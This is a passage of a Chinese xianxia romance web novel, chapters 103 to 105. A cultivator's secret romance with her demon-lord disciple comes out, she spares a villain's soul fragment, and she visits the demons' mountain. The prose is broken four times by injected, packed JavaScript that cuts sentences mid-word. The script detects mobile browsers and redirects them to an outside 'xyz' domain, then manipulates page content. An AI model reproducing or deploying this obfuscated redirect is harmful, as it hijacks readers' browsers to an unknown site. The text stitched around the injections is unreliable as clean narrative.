林韵舒毫不留情地在他手臂上掐出一道红印:“这下醒了?” 扶岳:“嗷——” 场面一片混乱。谢既微扶额,他就说为何总觉着梁惜因和重霄的相处有些怪。只是这二人一为师尊,一为弟子;一为修士,一为魔尊,他竟是从没往那方面想过。 梁惜时拖着自家妹妹,离屋门愈来愈近,嘴里还在不断嚷着:“我早就说不该让他入宗!这臭小子,安得竟是这般心思,一口一个‘哥’叫得倒是顺口!” 待距离足够近后,梁惜时一把推开木门。 “砰——”像是有什么东西跌落在地的声音,屋内五人和门后跌坐在地的四人来了个大眼瞪小眼。 梁惜时一惊:“你们是何人?” 梁惜因迅速松开抱着梁惜时腰的手,站直了说:“哥,这就是我先前与你说的我的师尊,还有师兄师姐他们。” 殷照本已是要站起来了,听了这话腿一软,又坐了回去,勉力撑出一个笑来:“师祖,您叫我小殷就好。” 燕明昭和柳甫畅二人有样学样:“师太祖,叫我小燕/小柳便好。” 谢淳:“......” 梁惜因没忍住笑出了声:“好了,快起来吧。” 四人忙不迭起身,低着头站成一排。梁惜时的怒气暂且被放到了一边,他说:“原是几位。此前见得不多,我竟是没在第一时间认出来。” 殷照连忙说:“梁前辈客气了。” 梁惜时看了眼梁惜因和走来的谢既微几人,霎时间明白了什么。“你们早便知道了?”他问。是了,以这几人的修为和灵力,又怎会感知不到门外有人。 谢既微颔首:“这些晚辈也该知道真相了。” 殷照上前一步,拱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015572|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手道:“是我带他们几个来的,还望掌门和几位前辈莫要怪罪他们。”他话说得流利,神情却还在恍惚着。这几日他受到的刺激太多了,自家小徒弟是师祖不说,还和她自己的小徒弟,也就是魔尊重霄情投意合。 他两眼呆滞,这个世界,到底怎么了? 梁惜因将人扶起:“殷峰主不必如此,都是天璇峰的人,有何好怪罪的。” 燕明昭耳根泛红,似是觉着丢脸。她用余光瞥了眼梁惜时,鼓起勇气说:“梁前辈,魔尊他其实人还不错,对师太祖也很好...” 她不提还好,一提这事梁惜时就火大,胸口起伏着,谁的话都听不进去:“都说魔族最擅蛊惑人心,我看准是这小子使了什么上不得台面的手段!都别拦我,我现在就去找他算帐!” 他气势汹汹地朝外走去,险些和迎面走来之人撞上。 重霄立时止住步子,将人给扶稳了:“哥,小心些。” 梁惜时直接一巴掌呼他脑门上:“谁是你哥!” 重霄:“......” 走在他身旁的常谧和纪长天俱是一惊,完全没明白发生了什么。 梁惜因揉了揉眉心,她这落雪轩,今晚也是够热闹的。 堂堂魔尊,此时面对一个几无修为之人,别说是还手了,连还嘴也不敢,只是带着些委屈地望向梁惜因。 梁惜时火气更大,这副样子做给谁看呢。他前所未有地仔细打量着重霄,发觉这小子长得还真可以。不行,看脸最是要不得,他得让自家妹妹从美色中清醒过来。 梁惜因又是好笑又是心疼,赶忙上前将二人分开:“好好说话,都好好说话。” 重霄心底浮出一个猜测,他用眼神询问梁惜因,梁惜因对他点了点头。 重霄了然,下一瞬就一撩衣袍,跪在了梁惜时身前:“晚辈重霄,自知不才,屡有过错,酿至大祸。幸得阿因在旁相陪相护,才得有今日。晚辈真心爱慕阿因,也深知此身罪孽深重、万难相配。惟愿前辈能与我一次机会,晚辈定会让她事事顺意,不受丝毫伤害。” “如若背约,晚辈剖心自惩。” 他语气极为诚恳,句句真情实意,又将自己的姿态放得极低。梁惜时积聚的怒气一下就泄了一半。 偏偏这时梁惜因也挪步到了他身前,也就是重霄身边。见她一手提起衣袍,似也要跪下,梁惜时急忙将人扶住:“阿因,你这又是作甚?” 梁惜因顺势握住他的手,眸光温柔而坚定:“哥,妹妹是真心喜欢他。” 梁惜时还在挣扎着:“你年岁尚小,很多事都不甚懂,叫哥哥如何能放心?” 梁惜因眼含笑意:“适才你可是才说过我长大了。” 梁惜时:“......” “这能一样吗?”他拍打着手心。 谢既微也上前来,劝道:“惜时,含盈这么多年来也是第一次有心悦之人,我看重霄也是用了心的,何不让他们二人试一试?” 梁惜时沉默着。良久才长叹一声,说:“你们这样倒显得我不通情理了。”他看了眼重霄,“起来吧。” 重霄依旧跪着,墨发垂落,遮掩着他的面容。 梁惜时又默了片刻,双眸阖上又睁开,才终于像是下定了什么重大决心般说道:“行了,我答应你还不成?” 重霄猛地抬头,眸中尽是掩不住的喜意。他站起身,对着梁惜时深深行了一礼:“晚辈谢梁前辈成全。” 梁惜因笑意灿灿,抱住梁惜时的手臂:“哥哥最好了!” 梁惜时:“......”他现在后悔还来得及吗? 103. 炙心 “你们怎么过来了?”梁惜因问重霄几人道。 重霄答道:“夜色已深,师兄师姐欲要先行离宗,特来拜别师尊。” 在他说完后,身旁的两人却无任何反应。纪长天和常谧浑身僵硬,仿佛一碰就要碎了。他们刚刚听到了什么?师尊和小师弟??那他们以后要如何称呼重霄,是继续叫师弟还是改口称师公?? 他们到底错过了什么... 梁惜因点头道:“也好,天璇峰内还剩几间空置的弟子院,你们日后也可随时回宗小住。” 常谧和纪长天迷迷糊糊地应声,又迷迷糊糊地走了出去,怕是要有一会才能缓过来了。 “你们也是。”梁惜因侧首看向殷照几人,“先回去吧,待事情料理完后我再来找你们。” 殷照忙不迭地应声,对几个徒弟招了招手,快步往院外走去。偷听这事到底是丢脸,他早就想走了! “殷峰主,喝酒可以,但可别误了事了。”梁惜因半开玩笑道。 殷照一顿,险些被门槛绊倒,连忙回身应道:“师祖说的是,晚辈以后定会注意。” 燕明昭跟在殷照身后,却又在经过梁惜因时止住了脚步,对着她欲言又止道:“师太祖...” 梁惜因轻笑:“这般叫未免太显老了,唤我含盈便可。” 燕明昭眼睛亮了亮,只觉梁惜因和往日里的小师妹并无甚差异:“含盈...前辈。” “嗯,你们今日在皇城保护百姓一事,谢掌门也告诉我了。着实辛苦了,快些回去休息吧。” “是。”燕明昭边走边回头对梁惜因露出一个笑来,明媚灼灼。 谢既微几人也陆续告辞,院中一下变得空荡起来,只余梁惜因、重霄和梁惜时三人。 梁惜时不善地盯着重霄,虽没有说话,但意思已表达得非常明显了——这小子怎么还不走。 梁惜因挽住他的手臂,和他一道往院门处走着:“哥,你也快些回去吧,明日妹妹再去找你。” “那他...” “哥哥之前还说要给我做吃食的,妹妹可还都记着呢。” 梁惜时果然缓了神色:“我也是多年没下厨了,只怕是生疏了。待我这几日研究下菜谱,给你做些时新的菜色来。” “好,也别太累了,身子最重要。” 说着,两人就已走到了院外。梁惜时止住步子,摸了摸梁惜因的脑袋,旋即又变了副面孔,无比正经地道:“告诉那小子,我会一直盯、着、他。” - 布阵送梁惜时回去后,梁惜因走回落雪轩,关上了院门,只觉这一天过得实在是波澜起伏。 重霄从身后抱住她,将脸埋在了她的肩窝处,轻声唤道:“阿因。” 梁惜因在他怀中转过身子,手捧着他的脸,直视着他那双墨色的瞳孔:“阿霄,我没和你商量就将你我二人之事告诉他们了,你可会怪我?” 重霄啄了啄她的唇角,眼底盛满笑意:“怎会。阿因,我好高兴。”方才发生的一切都是他此前从不敢想的。 他此生,除却与她相守,已是别无所求。他自是怨恨修仙界的,怨恨那群修士的是非不分、苦苦相逼,也怨恨天道不公。可此刻感受着怀中的温软,他又觉这一切不过是过眼云烟。只要能留在她身边,就够了。 梁惜因伸出一指抵在他唇上:“以后别再说什么‘剖心’了,听着就吓人。” 重霄握住她的手腕,引着她的手贴向自己的胸口:“阿因若是不喜,那我便不说。但我方才所言,俱是出自肺腑。” 他的手带着些微凉意,可手掌下传来的心跳却似带着温度,炙热无比,一下又一下,诉说着汹涌的爱意。 梁惜因真切地感受到,这一刻,他们的心是相连的。她蜷缩着五指,慢慢往回收着手:“知、知道了。” 重霄仍旧握着她的手腕,他注视着梁惜因,注视着他深爱之人,眼底的情愫满得似要溢出,他动了动唇,说:“阿因,我这条命,是你给的。” 他生于黑暗,是梁惜因将他从深渊中拉出,赋予了他新生和归处。也让他知道,原来他也可以拥有爱。 “我...”重霄这话有些过于直白,梁惜因嗫嚅着,还没想好怎么回话。微风拂过,不仅没有带来半丝凉爽,反倒加剧了燥意的蔓延。 重霄低头,吻上梁惜因的唇。 夜色无言,梨花纷纷扬扬地从枝头落下,在皎洁的月色下几若透明。唇齿厮磨,梁惜因呼吸渐渐急促起来。 身体越发瘫软,她双手攀上重霄的肩头,以作支撑。然而两肩衣料的触感却不尽相同,梁惜因微微睁开眼,借着月光看清了他右肩处的暗色,那是已经干涸的血迹。 梁惜因顿时想起了什么,意识回笼,她轻轻推了推重霄,示意他先停下。 重霄听话地止住了动作,却并未拉开距离,温热的呼吸缠绵在一起,他唇上泛着潋滟水色,显然还沉浸在方才的吻中。 梁惜因颊上的温度不断攀升着,她略微移开视线,问道:“你的伤如何了?可有处理过?” 重霄微怔,哑声说:“已是无碍了。” 梁惜因不放心:“真的处理过了?” 重霄:“......” 梁惜因:“......”她就知道。 她牵着重霄走进屋内,衣袖轻挥间,满室烛火被点燃。她让重霄在木椅坐下,自己则站在他身后,小心翼翼地褪着他肩头的衣物。 而等重霄的肩膀露出来后,梁惜因却愣住了。眼前的皮肤光洁白净,半点受伤的痕迹都无。她疑惑地眨了眨眼,甚至还上手摸了摸,也只摸到了一片光滑细腻。 重霄本便紧绷的身体这下更是僵硬,他飞快将衣服合拢,侧首唤道:“阿因。” 梁惜因回过神来,像被烫到般猛地缩回了手,含混不清地说:“不是,你、我...” 支吾了半天,她蹦出一句:“你的伤呢?”这才过了不到半日,就算真处理过了,也未免太夸张了吧。 没待重霄答话,她便已想通了其中关窍。是了,重霄由世间怨气所化,身体自然不似常人。她想起两人重逢之时,重霄掌上的擦伤也是恢复得极快。 思绪慢慢飘远,她可还没忘了从前在天璇峰时,重霄每次下山除害都会带些小伤回来,偏偏这些伤还都在他自己不便上药之处,是以每回都由她这个做师尊的帮着他抹药。 现在思来,这剑伤不到半日就能愈合,那些小伤又何至于等他回宗了还没好? 梁惜因凝视着重霄,忽觉自己摆在桌上的这瓶药实在是多余。 重霄似也和她想到了一处,他将整个身子都转了过来,从腰间抱住梁惜因。梁惜因揉了揉怀里那颗毛绒绒的脑袋,也没说破,带着些无奈地笑道:“你啊...” 重霄不语,在她怀中蹭了蹭,贪婪地嗅着她身上那熟悉的梨花香。 片刻后,他抬起头,满眼都映着梁惜因的身影:“今晚——” 梁惜因也恰在此时开口,两人俱是一怔,相视而笑。 “阿因先说。”重霄道。 梁惜因有一下没一下地抚着他的墨发,犹豫了须臾才道:“今晚...阿霄要不就歇在我这儿?” 重霄眼睛一亮,立马追问道:“可以吗?” 梁惜因耳垂染上热意,垂眸道:“就是床有些小,可能会比较挤。” “无妨。”重霄站起身,像是惊喜过了头,一连又在她唇边落下好几个吻。 在重霄沐浴之时,梁惜因独自坐在梳妆台前,将挽发的银簪卸下,对镜细细打量着。她轻抚着簪头的梨花纹样,嘴角笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我...” “我知道我之前问过这个问题,但答案肯定不是第一次见面的时候。”梁惜因止住他的话头。 “也不尽然。”重霄笑道,“两百年后的初见,我确是第一眼就喜欢上了阿因。”彼时的他还未恢复记忆,但爱她却好似已成了一种本能。 “不过若是按阿因的说法,那我着实不知。”当初扶岳给了他那样一本书,让他第一次知道原来男女间还有这么一种关系。 后来,在日复一日的相处中,在那声声温柔的话语之下,他慢慢变了心思。起初他还未意识到,等意识到时就已晚了。这份难言的情意早已深深埋进他心中,再难泯灭。 他不想只当她的弟子,也不想只是远远地望着她。他想离她更近一些,想要触碰、想要亲近,更想让她眼中只装得下他一人。 贪心这种东西,只会愈来愈重。哪怕梁惜因此时就躺在他身侧,他也还不知足。他现在想要的,是此生都能与她相伴,长长久久。 梁惜因知道重霄没在敷衍她,因着她也不清楚自己是何时对这个小徒弟动了心。她双手抵在重霄身前,抬眼望着他:“我也是。” 话落,她忽然低低地笑出声来。重霄也被感染着加深了笑意,“想起什么了?”他问。 “是我哥。”梁惜因笑了好一会才道,“他说他会一直盯着你的。” 重霄真心实意地叹了口气,无奈道:“到底要如何才能让梁前辈不那般讨厌我?” 梁惜因宽慰他:“我哥虽然冷着张脸,但既是答应你了,那心底便是认可你的。我以后多带你去找他,他迟早会笑着欢迎你的。” 当真能有那么一天嘛?重霄深深怀疑着。但还是答应道:“好。” 又说了一会话,梁惜因渐渐困倦起来,声音也慢慢小了下去,最终彻底阖上了双眼。重霄无声轻笑,他双臂环抱着梁惜因,嗅着她身上浅淡的梨花香,与她依偎着睡去。 一夜好眠。 104. 留魂 到了次日,苍梧宗内所发生之事有如插上了翅膀,在所过之处掀起了惊涛骇浪。 梁惜因和其余各宗修士不过休息了一夜,就又急匆匆地赴往苍梧宗商议后续事宜。最终定于明日午时对白元绪施刑,同时烧毁密室中所有早便不该存在于世的书册。 那些早已隐退的苍梧宗前任掌门也被各种方式“请”了出来,被要求着在众人面前坦白他们这些年的所作所为。有罪的自当依规论处,无罪的也不会被强留于此。 除此之外,还要核查白元绪交代的在民间布幻阵的地点,以确保并无遗漏。只要白元绪一死,这些幻阵失了维系,就会自动失效。届时在阵中禁锢多年的怨气将会一齐倾泻而出,是以要提前在这些地方布上渡灵阵,让阵中亡魂得以再入轮回。 处理完这一系列事情后,天色已晚。梁惜因和重霄相牵着踏在满地的落叶和碎琼般的月光上。重霄侧目望着梁惜因,说:“阿因今日也是累了,回去早些歇息。” 梁惜因回道:“我不过是布了几个阵,要说累还是既微哥最累,整个修仙界都把担子压在他身上了。” 两人有一句没一句地随意聊着,待走到落雪轩时,梁惜因却止住了脚步。院门前立着一个清瘦的身影,似乎已经等候多时。重霄眸色微沉,念出了来人的名字:“贺千遮。” 片刻后,梁惜因和重霄一人一边坐在桌旁,贺千遮则垂头站在二人面前。梁惜因拨着盏中茶沫,语气肯定:“为了白元绪?” 贺千遮一顿,下一瞬竟是直接跪了下来,伏身道:“晚辈贺千遮,恳请含盈仙子和魔尊救一救白掌门。” 重霄不语,冰冷的视线落在他身上,令贺千遮忍不住微微发起颤来。 梁惜因将茶盏放回桌上,发出一声轻响。她没有叫他起身,神色说不上是无奈还是慨然:“贺峰主,你要知道,待掌门这些天忙完后,第一个要收拾的就是你。” 贺千遮将身子伏得更低:“是我...对不起玄晖宗,对不起谢掌门。” 梁惜因就着他的话说:“你当然对不起。不论是你当弟子还是任峰主之时,玄晖宗有何处亏待过你?可你却一心听命于白元绪,给我下毒也便罢了,还与他里应外合要杀害宗内弟子。贺千遮,你是真下得了手啊。” 她语调平静,贺千遮的面色却愈发苍白:“白掌门...于我有救命之恩。千错万错,都是晚辈的错。” 重霄往前倾了倾身子,居高临下地俯视着他,嗤道:“救命之恩是恩,玉衡峰前任峰主对你的教养之恩便不是恩了吗?你就这样报答他的恩情?” “晚辈,不是...”贺千遮嗫嚅着说不出话来,连嘴唇都失了血色。 梁惜因继续说:“掌门已知晓你就是宗内叛徒。之所以没有第一时间发作你,也没有在集议上将你的名字说出来,就是想给你留些脸面,好让你在离宗后不至于被唾弃得活不下去。” 泪水划过面庞,贺千遮哽咽着说:“晚辈自知万死,还望含盈仙子能出手留白掌门一线生机...” 梁惜因叹息道:“事到如今,你还在为他说话。” 贺千遮喉间酸涩:“晚辈少时流浪,冻馁难耐。若非白掌门出手相救,晚辈绝对活不过那个冬天。恩情若此,晚辈自当铭记终生。” 梁惜因眸光微动。白元绪会是那般好心之人?他救人是因为那时良心未泯,还是想给自己培养个趁手的棋子?梁惜因不得而知。 贺千遮倒也不傻,知道来找她。在整个修仙界,眼下也只有她能从断恶阵中救下一缕神魂。 “除了秘境一事,你还替他做过什么?”她问。 贺千遮不敢隐瞒,一五一十地答了。 “我与魔尊复生一事,也是你告诉他的?” 贺千遮点头,新旧泪痕交错在他的面庞上。 “昨日苍梧宗召开集议,你为何不去?”自看过闻影送来的留影符后,她心里就一直对此存疑。 贺千遮默了须臾,回道:“世人皆知陆家主于白掌门有知遇之恩,但晚辈实也是经陆家主举荐入宗。冥龟子一事后,我与他多有争执,陆家主死得不明不白,他却轻飘飘地将此事揭过了,也不见去捉拿那所谓的凶手。” “在他召开集议的前一日,他突然告知我,陆家主是他杀的。”贺千遮苦笑几声,“我不相信,但也不愿在这几日再见到他,没承想...” 梁惜因眉心微蹙。按白元绪先时的计划,他是想借“魔尊复生”一事挑起两族战争,到时定然又是一番血雨腥风。他也好趁此机会布下邪阵,吸取众修士的修为。 贺千遮待在玉衡峰内,反而能远离这一切,很是安全。梁惜因凝视着面前将自己缩得极小之人,该说不说,白元绪对他,好像也不尽是纯然的利用。 “白元绪作恶多端,你明知如此,为何还要替他卖命?就是为了报他的救命之恩?”她问。 贺千遮没答话,显然是默认了。 梁惜因也不知是该说他傻还是过于忠心,她又道:“白元绪犯下滔天罪孽,就算他能侥幸逃得魂飞魄散,来生也定然苦楚,几世都不能为人。且一旦被别的修士知道他神魂未散尽,他将面对的是无止境的追杀。即便如此,你也要救他吗?” 贺千遮猛然抬头,眼底迸发出光彩,急忙答道:“晚辈早已思虑好,愿用余生在世间行善积德、除恶救人,以弥补白掌门一身之罪孽。若白掌门当真能重归人世,晚辈定会悉心教导于他,绝不会再让往事重演。” 梁惜因一手撑在桌面上,抵着额角说:“他害了那么多人,你想要替他积德洗罪,少说也得要个几百年。这几百年间,只能救人,不能害人,甚至一点亏心事都不能做,否则俱是前功尽弃。贺峰主,你可要想好了。” 贺千遮直直地对上她的视线,没有片刻犹豫:“晚辈想好了。不光是为了他,也是为了晚辈自己。”为了他助纣为虐害死的那些人。 梁惜因阖了阖眸,没有立刻答话。贺千遮屏息住视着她,等着她的决择。 良久,梁惜因说:“断恶阵凶险,我只能说是尽力而为,并不保证一定能救下他的一缕神魂。” 重霄偏头望向她,眸中尽是了然,毫不意外她做出这样的决定。 贺千遮在原处愣了须臾才猝然回过神来,连连磕头道:“晚辈谢含盈仙子大恩大德,谢含盈仙子、谢魔尊...” 梁惜因挥手示意他停下:“行了,我话还没说完呢。若是他来生依旧作恶,我和魔尊第一个就不会放过他,你可明白?” 贺千遮深深叩首:“晚辈知晓。” 重霄睨了他一眼:“还不快走。” 贺千遮又是一抖,踉跄着站起身离开了。 梁惜因看着他离去的背影,若有所思地说:“救下这么一个人,或是白元绪所做的最正确的决定了。” 说着,她扭头,就见重霄正含笑注视着她,眼底情愫翻涌。梁惜因霎时反应过来,她那话说得不仅是白元绪,更是她自己。 重霄走过来,直接将梁惜因整个人拦腰抱起,向里间走去:“阿因莫要再想这些旁人了,思虑过重对身子不好。” 梁惜因双脚骤然离地,双手下意识揽住重霄的脖颈:“那今日是你先沐浴还是我先?”她笑问。 重霄咽下那险些脱口而出的“一起洗”,回道:“阿因先吧。” “好。” - 白元绪被处决后,梁惜因去了趟玉衡峰,交给贺千遮一张养灵符:“只救下了这么多。” 贺千遮动作极轻地接过符纸,眸中泛起水光:“含盈仙子大恩,晚辈真不知该如何相报。” 梁惜因淡然道:“不必。只要你们不再作恶,多顾着这天下苍生便行。” 贺千遮小心地将符收起,对她行了一礼:“晚辈已向谢掌门请罪,今日便会前往戒律堂领罚。玉衡峰的一应事宜和下任峰主,晚辈皆已安排妥当,不日便会离开玄晖宗。” “也好。”梁惜因点头。不论是贺千遮还是玄晖宗,都不会再想见到彼此。 布阵回天璇峰后,梁惜因一眼便望见了几个聚在一起的白色身影,瞧着颇为眼熟。她扬起唇角,几步走上前去:“你们这是在作甚?” 几人被吓了一跳,纷纷拱手道:“前辈。” 梁惜因摆手:“好了好了,以后见了我都不必行礼。” “是。”几人齐声应道。 他们本来还有些拘谨,见梁惜因不论是言行还是待他们的态度都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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柳甫畅拍了把他的后背:“那就明日再去。到时想吃什么随便点,我来付账!咱们一块不醉不归!” 苏柚笑着摇头:“小心喝多了头疼。” 梁惜因也来了兴致:“你们到时可别忘了叫我。” “诶,一定一定!”杜昱大声道,“就是人多了才热闹嘛!” 既如此,把重霄也叫上好了。梁惜因在心内想着。 这一桩事暂且算是解决了,柳甫畅又想起另一件事来,他朝燕明昭凑近了些,问道:“师姐,之前在平野上,你说有话要等出去后对我说的。” 燕明昭微愣,也想起了这事来。当时柳甫畅以身相护,她确实这么说过,只不过后来发生的事实在太多,她一时也将之抛至脑后了。 从耳根开始,燕明昭的整张脸都红透了。她侧过身子,不去看柳甫畅,半垂着头道:“你不是都知道了吗?干嘛还来问我?” 柳甫畅一开始还没反应过来:“知道什么?” 杜昱和江映和对视一眼,同时不怀好意地笑道:“我们也都知道了。” 谢淳和梁惜因弯着双眼,笑盈盈地看着这二人。唯独苏柚还在状况外,一脸惑然地道:“知道什么?” 梁惜因凑过去,对她耳语了几句。苏柚瞪大了眼,短暂的震惊过后,露出了如出一辙的笑容。 柳甫畅被几人盯得浑身不自在,他再迟钝这时也明白过来了,紧紧握着手中折扇,耳垂红欲滴血。他喉间滑动,捏住了燕明昭袖子的一角:“师姐,是我想得那个意思吗?” “嗯...”燕明昭细声应道。 柳甫畅巴巴地将脑袋靠了过去,又惊又喜,神采飞扬:“师姐你说什么?我没听清。再说一遍,说详细些好不好?” 燕明昭一把将人推开,跺脚道:“诶呀,有什么好说的。”她环视了一圈在场的几人,面色更红,提起衣摆就向弟子院跑去。 柳甫畅连忙追了上去:“师姐!师姐你等等我!” 这两人一走,余下的几人顿时笑出了声。苏柚感慨道:“真好啊。” “是啊,真好。”梁惜因附和着。 她抬眸望向天边,只见云卷云舒,不知年岁的古树随风轻摇着枝叶,日光闪烁着丝绸般绵密的金色。天璇峰岁月悠长,少年郎身着白衣、心绣苍兰。 105. 漆吴 梁惜因迷迷糊糊地睁开眼,好似还能闻到空气中残留的酒气。昨日他们一行人去苍梧宗找叶天舟,一直喝到后半夜才回宗。叶天舟被他们几人围在中间,估计自己也记不清到底喝了多少酒,最后直接喝吐了。 想想当时混乱的场景,梁惜因又有些忍俊不禁。 视线从模糊逐渐变得清晰,重霄精致的面容出现在她眼前。他含笑望着她,不知望了已有多久。 梁惜因顿时清醒了,将脸往被中缩了缩,只露出一双如画的眉眼来:“早啊,阿霄。” 重霄笑意愈深:“头疼么?可要再睡会?” 梁惜因道:“不疼。现在几时了?说好了今日要与你去漆吴山的。” “巳时初了。”重霄慢慢收回覆在窗扇上的黑雾,阳光丝丝缕缕地透进来,驱散了室内的昏暗。 梁惜因翻身坐起:“都巳时了?!” 半个时辰后,梁惜因穿着身丁香色暗绣罗裙,和重霄布阵来到了漆吴山。 眼前青山蔼蔼,连绵起伏,乍眼看去与世间任何一座山都别无二致。然而甫一走近,就有一道屏障凭空出现,挡住了他们的步伐。 重霄抬掌,以怨气在空中绘出一道符文,将其向前推去,黑色的符文在触及半透明屏障的一瞬间,屏障便如潮水般从上往下消退,露出了阵中与世隔绝二百多年的漆吴山。 重霄动作不停,手腕翻转间,一枚流溢着蓝光的灵石出现在他掌中。正是云隐石。 云隐石本由谢既微暂为保管,在密室被毁去后,不少宗门都对这灵石动了心思。正当他们为云隐石的最终归属吵得不可开交时,重霄却突然开口将这石头要去了。这下那些个宗门别说是不服了,连大气都不敢喘一声,任他从谢既微那将石头拿走异主了。 云隐石缓缓上升着,在升到与山顶平齐的高度后才停下。重霄指尖轻动,云隐石转动起来,蓝色的流纹倾泻而出,代替了封山阵,将整座漆吴山都笼罩其中。 此后,除却他们与山中之人,世间再无人能找到这座山。 “走吧。”重霄牵住梁惜因的手。 穿过蓝色波纹,映入眼帘的并非是传闻中的荒山,反而林木葱郁、绿荫浓密,颇具生机。没走几步,重霄就停住了步子,梁惜因正要发问,就见一道黑影以极快的速度从山上冲了下来,又堪堪在二人面前刹住了脚步。 梁惜因霎时反应过来了,笑道:“是闻影啊。” 闻影看着二人,蹦蹦跳跳道:“含盈仙子!老大!我还说是谁能破了阵进来,原来是您二位!” 说着,他探头向两人身后望去:“那蓝幽幽的是啥玩意?封山阵呢?” 闻影是前几日回山的,彼时封山阵还未破,重霄随手在阵上开了道缝,把人塞了进来,临走前还不忘再将缝给合上。 “云隐石。”重霄言简意赅道,“山里的人能出去,山外的人却进不来。” “这么厉害?”闻影欢呼一声,绕着梁惜因和重霄跑起圈来。 重霄:“......”真是好生熟悉的聒噪声。 他无比精准地按住闻影的脑袋,强制他停了下来。闻影不明所以,委屈地看向他。 梁惜因笑了笑,问道:“闻影身上的咒已解了吧?可有何其他影响?” “白元绪死后便解了。”重霄说,“他现在身子好得很。” 一听他们提起这事,闻影就心头火起,跳脚骂道:“白元绪那个无耻小儿!小爷那天在山上待得好好的,听到山脚有动静就想着下来瞅一眼。结果!这家伙二话不说就给我下了毒咒!” “要是让我杀人也就罢了,小爷这么多年没杀过人了,手正痒着呢。可这杂碎下的第一道命令竟是让我进山采草!老大都没让我干过这种事,他怎么敢的啊!狗娘养的,小爷真恨不得能亲手杀了他!” 重霄拧起眉头,咳了两声。 闻影立马止住话头,抬眸乖巧地望着他和梁惜因。梁惜因揉了揉他的脑袋:“别去想那些不开心的事了。” 闻影之事梁惜因也听重霄说过。在他幼时,闻氏族人便为几个修士所杀,他也只得流浪世间,自此对修仙界恨之入骨,尤其是与那几名修士同宗之人,他更是逮着机会就杀。 可他从不害凡人百姓,对同族也是仗义非常,只要有被修士追杀的魔族来找他求救,他哪怕拼上自己的半条命,也要将那个修士给杀了。 以他这不要命的劲,再加上不低的修为,很少有修士能从他手中逃出来。白元绪估计一开始就把主意打在闻影身上了,闻氏的幻身咒天下皆知,他料定闻影会第一个下山察看。 重霄目光落在梁惜因方才摸过的地方,眉心拧得更紧。闻影缩了缩脖子,不知为何,总觉得头顶有些凉。 “哦,对了!”他忽然说,“大家还不知道魔尊和含盈仙子来了呢,我这就去告诉他们!” 梁惜因和重霄没有布阵,缓步在山道上走着。梁惜因打量着周遭景色,好奇问道:“漆吴山一直是这般模样吗?我此前看书中所载,漆吴山原是草木荒芜的。” 重霄说:“这山在两百年前确实是座荒山。” 梁惜因了然。两百多年,人间尚且沧海桑田,更遑论是这一座漆吴山了。 “咦?”梁惜因弯腰,从脚边拾起一枚圆润的石子,“这石头,是博石吧。” 重霄点头:“是。以前山上无人居住时,多有凡人上山来寻这些石头,再制成棋子。” “不止是棋子,我看用作阵石也很合适。”梁惜因捏着石子看了看,顺手塞进了她那什么东西都有的乾坤袋中。 重霄的目光在地面上搜寻着:“阿因若是喜欢,我再多寻些来。” 梁惜因失笑,将人给拉走了:“好了,这次上山又不是来找石子的,等下次我与你一起找。” 走近山腰处时,两人迎面碰上了以闻影为首的魔族。见了他们二人,众魔一齐跪拜道:“恭迎魔尊归山,恭迎仙子前来!” 重霄淡声说:“都起来吧。” 众魔交换着视线,见闻影先起来了,才颤颤巍巍地站起了身。他们无一不是垂着头,只敢偷偷瞟上几眼重霄和梁惜因。魔族对力量有着天然的崇拜与畏惧,他们虽自两百多年前就开始追随重霄,但事实上却连重霄的面都没见过几次。 印象最深的还是仙魔大战之时,翻腾的怨气瞬间就杀死了数名修士。自那之后,他们除了死心塌地跟着重霄,对他的敬畏也更甚。 重霄和梁惜因并肩向前走去,四周的景象逐渐由树木变为一座座房屋,脚下的路也平坦起来。闻影在他们身边上蹿下跳着,叽喳个不停:“老大老大!我和你说,一开始这山上种什么死什么,现在可不一样了,种什么活什么!诶,早知道仙子要来,我们就该把这山布置得再漂亮些!” 梁惜因轻笑:“无妨,现在这样也很好。” 见重霄面上并无厌烦,还偶尔回应闻影的话,梁惜因又是如此的温和可亲,众魔的胆子也渐渐大了起来,交谈声不断。 “那就是含盈仙子啊,长得可真好看。” “这么多年过去了,感觉魔尊的实力更强了。” “魔尊、仙子,这是小的自己酿的酒,您二位若是不嫌,带回去尝尝!” “这糕点是小的自家做的,仙子可要带一些回去?” “还有小的种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030142|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的菜,您二位就收下吧,绝对新鲜!” 这些魔族不敢直接将东西送给重霄,于是不待梁惜因推拒,她怀里就被塞了一堆东西。眼见这东西越来越多,都要遮住她的视线了,梁惜因连忙说:“可以了,不要再送了。” 众魔还在争先恐后地塞着自己的东西,重霄冷眼一扫,众魔瞬间噤声,端正立在原地。 重霄接过梁惜因怀里的东西,问她道:“要收下吗?” 